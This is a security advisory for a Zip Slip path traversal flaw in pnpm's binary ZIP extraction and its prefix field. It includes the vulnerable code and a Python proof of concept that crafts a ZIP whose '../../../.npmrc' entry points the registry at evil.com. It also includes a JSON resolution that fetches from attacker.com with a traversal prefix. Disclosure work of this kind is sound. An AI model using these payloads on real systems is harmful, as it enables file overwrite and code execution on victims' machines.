pnpm: Binary ZIP extraction allows arbitrary file write via path traversal (Zip Slip)
GHSA-6pfh-p556-v868 · CVE-2026-23888
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Description
Summary
A path traversal vulnerability in pnpm's binary fetcher allows malicious packages to write files outside the intended extraction directory. The vulnerability has two attack vectors: (1) Malicious ZIP entries containing ../ or absolute paths that escape the extraction root via AdmZip's extractAllTo, and (2) The BinaryResolution.prefix field is concatenated into the extraction path without validation, allowing a crafted prefix like ../../evil to redirect extracted files outside targetDir.
Details
The vulnerability exists in the binary fetching and extraction logic:
1. Unvalidated ZIP Entry Extraction (fetching/binary-fetcher/src/index.ts)
AdmZip's extractAllTo does not validate entry paths for path traversal:
const zip = new AdmZip(buffer)
const nodeDir = basename === '' ? targetDir : path.dirname(targetDir)
const extractedDir = path.join(nodeDir, basename)
zip.extractAllTo(nodeDir, true) // Entry paths not validated!
await renameOverwrite(extractedDir, targetDir)
A ZIP entry with path ../../../.npmrc will be written outside nodeDir.
2. Unvalidated Prefix in BinaryResolution (resolving/resolver-base/src/index.ts)
The basename variable comes from BinaryResolution.prefix and is used directly in path construction:
const extractedDir = path.join(nodeDir, basename)
// If basename is '../../evil', this points outside nodeDir
PoC
Attack Vector 1: ZIP Entry Path Traversal
import zipfile
import io
zip_buffer = io.BytesIO()
with zipfile.ZipFile(zip_buffer, 'w') as zf:
# Normal file
zf.writestr('node-v20.0.0-linux-x64/bin/node', b'#!/bin/sh\necho "legit node"')
# Malicious path traversal entry
zf.writestr('../../../.npmrc', b'registry=https://evil.com/\n')
with open('malicious-node.zip', 'wb') as f:
f.write(zip_buffer.getvalue())
Attack Vector 2: Prefix Traversal via malicious resolution:
{
"resolution": {
"type": "binary",
"url": "https://attacker.com/node.zip",
"prefix": "../../PWNED"
}
}
Impact
- All pnpm users who install packages with binary assets
- Users who configure custom Node.js binary locations
- CI/CD pipelines that auto-install binary dependencies
- Can overwrite config files, scripts, or other sensitive files leading to RCE
Verified on pnpm main @ commit 5a0ed1d45.
References
- WEB https://github.com/pnpm/pnpm/security/advisories/GHSA-6pfh-p556-v868
- ADVISORY https://nvd.nist.gov/vuln/detail/CVE-2026-23888
- WEB https://github.com/pnpm/pnpm/commit/5c382f0ca3b7cc49963b94677426e66539dcb3f5
- PACKAGE https://github.com/pnpm/pnpm
- WEB https://github.com/pnpm/pnpm/releases/tag/v10.28.1
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